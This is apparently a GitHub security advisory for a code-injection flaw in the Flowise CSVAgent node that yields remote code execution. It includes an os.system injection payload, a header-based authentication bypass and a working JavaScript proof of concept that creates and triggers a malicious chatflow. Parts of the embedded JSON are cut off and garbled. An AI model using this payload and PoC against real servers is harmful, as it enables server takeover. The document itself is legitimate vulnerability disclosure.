Code Injection in CSVAgent leads to Authenticated RCE

Critical **igor-magun-wd** published **GHSA-9wc7-mj3f-74xv** last week

Package

flowise (npm)

Affected versions	Patched versions
<= 3.0.13	3.1.0

flowise-components (npm)

<= 3.0.13	3.1.0

Description

Hello,
My name is Raul and I'm contacting you on behalf of the Security Labs team at Snyk. During a recent research project we've discovered the following issue in your application:

Summary

The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload: `DataFrame({'foo': ['bar!']});import os;os.system('whoami')` that will get interpolated and executed by the server.

Details

The code in question that introduces the issue is in CSVAgent.ts.
`customReadCSVFunc` is user-controlled and gets interpolated directly without sanitization into the `code` variable which gets executed by `pyodide` one line later in: `dataframeColDict = await pyodide.runPythonAsync(code)`.
An authenticated attacker can issue the following chain of requests:

1. Create a new chat flow by sending a `POST` request to `/api/v1/chatflows`. This will return the `chatflowId` in the response.

2. Send a `POST` request to `/api/v1/prediction/[CHATFLOWID]` to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work.
3. Optionally: send a `DELETE` request to `/api/v1/chatflows` to cleanup and delete the chat flow.

Since `/chatflows` is not whitelisted here, this mandates the user to be authenticated. But, if `FLOWISE_USERNAME` and `FLOWISE_PQSSWORD` aren't set, it's sufficient to provide the `"x-request-from": "internal"` header to bypass authentication.

PoC

Here's the PoC code:

```
const PORT = 3000;
const FLOWISE_HOST_URL = `http://127.0.0.1:${PORT}`;
const PREDICTION_URL = '/api/v1/prediction';
const CHATFLOWS_URL = '/api/v1/chatflows';

const flowData = JSON.parse("{\"nodes\":[{\"id\":\"csvAgent_0\",\"position\":
{\"x\":681,\"y\":212},\"type\":\"customNode\",\"data\":{\"label\":\"CSV
Agent\",\"name\":\"csvAgent\",\"version\":3,\"type\":\"AgentExecutor\",\"category\":\"Ag
snyk/research/ai/Flowise/packages/server/node_modules/flowise-
components/dist/nodes/agents/CSVAgent/CSVagent.svg\",\"description\":\"Agent used to
answer queries on CSV data\",\"baseClasses\":
[\"AgentExecutor\",\"BaseChain\",\"Runnable\"],\"inputs\":
{\"csvFile\":\"\",\"model\":\"
{{openAI_0.data.instance}}\",\"systemMessagePrompt\":\"\",\"inputModeration\":\"\",\"cus
['bar!']});import os;os.system('whoami');\"},\"filePath\":\"/home/raul-
snyk/research/ai/Flowise/packages/server/node_modules/flowise-
components/dist/nodes/agents/CSVAgent/CSVAgent.js\",\"inputAnchors\":
[{\"label\":\"Language
Model\",\"name\":\"model\",\"type\":\"BaseLanguageModel\",\"id\":\"csvAgent_0-input-
model-BaseLanguageModel\"},{\"label\":\"Input Moderation\",\"description\":\"Detect
text that could generate harmful output and prevent it from being sent to the
language
model\",\"name\":\"inputModeration\",\"type\":\"Moderation\",\"optional\":true,\"list\":
input-inputModeration-Moderation\"}],\"inputParams\":[{\"label\":\"Csv
File\",\"name\":\"csvFile\",\"type\":\"file\",\"fileType\":\".csv\",\"id\":\"csvAgent_0-
input-csvFile-file\"},{\"label\":\"System
Message\",\"name\":\"systemMessagePrompt\",\"type\":\"string\",\"rows\":4,\"additionalPa
want you to act as a document that I am having a conversation with. Your name is
\\\"AI Assistant\\\". You will provide me with answers from the given info. If the
answer is not included, say exactly \\\"Hmm, I am not sure.\\\" and stop after that.
Refuse to answer any question not about the info. Never break
character.\",\"id\":\"csvAgent_0-input-systemMessagePrompt-string\"},
{\"label\":\"Custom Pandas Read_CSV Code\",\"description\":\"Custom Pandas <a
target=\\\"_blank\\\" href=\\\"https://pandas.pydata.org/pandas-
docs/stable/reference/api/pandas.read_csv.html\\\">read_csv</a> function. Takes in an
input:
\\\"csv_data\\\"\",\"name\":\"customReadCSV\",\"default\":\"read_csv(csv_data)\",\"type\
input-customReadCSV-code\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"csvAgent_0-
output-csvAgent-
AgentExecutor|BaseChain|Runnable\",\"name\":\"csvAgent\",\"label\":\"AgentExecutor\",\"d
used to answer queries on CSV data\",\"type\":\"AgentExecutor | BaseChain |
```

```
Runnable\"}],\"id\":\"csvAgent_0\",\"selected\":false},\"width\":300,\"height\":464,\"se
{\"x\":681,\"y\":212}},{\"id\":\"openAI_0\",\"position\":
{\"x\":238.83389711655053,\"y\":233.09962591816395},\"type\":\"customNode\",\"data\":
{\"loadMethods\":
{},\"label\":\"OpenAI\",\"name\":\"openAI\",\"version\":4,\"type\":\"OpenAI\",\"icon\":\
snyk/research/ai/Flowise/packages/server/node_modules/flowise-
components/dist/nodes/llms/OpenAI/openai.svg\",\"category\":\"LLMs\",\"description\":\"W
around OpenAI large language models\",\"baseClasses\":
[\"OpenAI\",\"BaseLLM\",\"BaseLanguageModel\",\"Runnable\"],\"credential\":\"\",\"inputs
{\"cache\":\"\",\"modelName\":\"gpt-3.5-turbo-
instruct\",\"temperature\":0.7,\"maxTokens\":\"\",\"topP\":\"\",\"bestOf\":\"\",\"freque
snyk/research/ai/Flowise/packages/server/node_modules/flowise-
components/dist/nodes/llms/OpenAI/OpenAI.js\",\"inputAnchors\":
[{\"label\":\"Cache\",\"name\":\"cache\",\"type\":\"BaseCache\",\"optional\":true,\"id\"
input-cache-BaseCache\"}],\"inputParams\":[{\"label\":\"Connect
Credential\",\"name\":\"credential\",\"type\":\"credential\",\"credentialNames\":
[\"openAIApi\"],\"id\":\"openAI_0-input-credential-credential\"},{\"label\":\"Model
Name\",\"name\":\"modelName\",\"type\":\"asyncOptions\",\"loadMethod\":\"listModels\",\"
3.5-turbo-instruct\",\"id\":\"openAI_0-input-modelName-asyncOptions\"},
{\"label\":\"Temperature\",\"name\":\"temperature\",\"type\":\"number\",\"step\":0.1,\"d
input-temperature-number\"},{\"label\":\"Max
Tokens\",\"name\":\"maxTokens\",\"type\":\"number\",\"step\":1,\"optional\":true,\"addit
input-maxTokens-number\"},{\"label\":\"Top
Probability\",\"name\":\"topP\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"add
input-topP-number\"},{\"label\":\"Best
Of\",\"name\":\"bestOf\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalPa
input-bestOf-number\"},{\"label\":\"Frequency
Penalty\",\"name\":\"frequencyPenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":tr
input-frequencyPenalty-number\"},{\"label\":\"Presence
Penalty\",\"name\":\"presencePenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":tru
input-presencePenalty-number\"},{\"label\":\"Batch
Size\",\"name\":\"batchSize\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additio
input-batchSize-number\"},
{\"label\":\"Timeout\",\"name\":\"timeout\",\"type\":\"number\",\"step\":1,\"optional\":
input-timeout-number\"},
{\"label\":\"BasePath\",\"name\":\"basepath\",\"type\":\"string\",\"optional\":true,\"ad
input-basepath-string\"},
{\"label\":\"BaseOptions\",\"name\":\"baseOptions\",\"type\":\"json\",\"optional\":true,
input-baseOptions-json\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"openAI_0-
output-openAI-
OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"name\":\"openAI\",\"label\":\"OpenAI\",\"d
around OpenAI large language models\",\"type\":\"OpenAI | BaseLLM | BaseLanguageModel
|
Runnable\"}],\"id\":\"openAI_0\",\"selected\":false},\"width\":300,\"height\":574,\"sele
{\"x\":238.83389711655053,\"y\":233.09962591816395},\"dragging\":false}],\"edges\":
[{\"source\":\"openAI_0\",\"sourceHandle\":\"openAI_0-output-openAI-
OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"target\":\"csvAgent_0\",\"targetHandle\":\
input-model-BaseLanguageModel\",\"type\":\"buttonedge\",\"id\":\"openAI_0-openAI_0-
output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable-csvAgent_0-csvAgent_0-input-
model-BaseLanguageModel\"}],\"viewport\":
{\"x\":73.92828909845196,\"y\":-4.475777844396191,\"zoom\":0.7371346086455504}}");
const payload = {"name":"CSV
PWN","deployed":false,"isPublic":false,"flowData":JSON.stringify(flowData),"type":"CHATF

// Create chatflow.
let res = await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}`, {
```

```
    method: "POST",
    headers: {
        "Content-Type": "application/json",
        "Authorization": "Bearer <your-api-key>"
        //Alternative: "x-request-from": "internal"
    },
    body: JSON.stringify(payload)
});

let resJson = await res.json();
let chatflowId = resJson?.id;

// Trigger vuln.
await fetch(`${FLOWISE_HOST_URL}${PREDICTION_URL}/${chatflowId}`, {
    method: "POST",
    headers: {
        "Content-Type": "application/json"
    },
    body: JSON.stringify({"question": "whoami?"})
});

// Cleanup.
await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}/${chatflowId}`, {
    method: "DELETE",
    headers: {
        "Content-Type": "application/json",
        "Authorization": "Bearer <your-api-key>"
        //Alternative: "x-request-from": "internal"
    }
});
```

Impact

This results in Remote Code Execution (RCE) and can allow an attacker to compromise the underlying server.

Severity

Critical 9.4 / 10

CVSS v4 base metrics

Exploitability Metrics

Attack Vector	Network
Attack Complexity	Low
Attack Requirements	None
Privileges Required	Low
User interaction	None

Vulnerable System Impact Metrics	
Confidentiality	High
Integrity	High
Availability	High
Subsequent System Impact Metrics	
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVE ID

CVE-2026-41137

Weaknesses

▶ CWE-94

Credits

supriza Reporter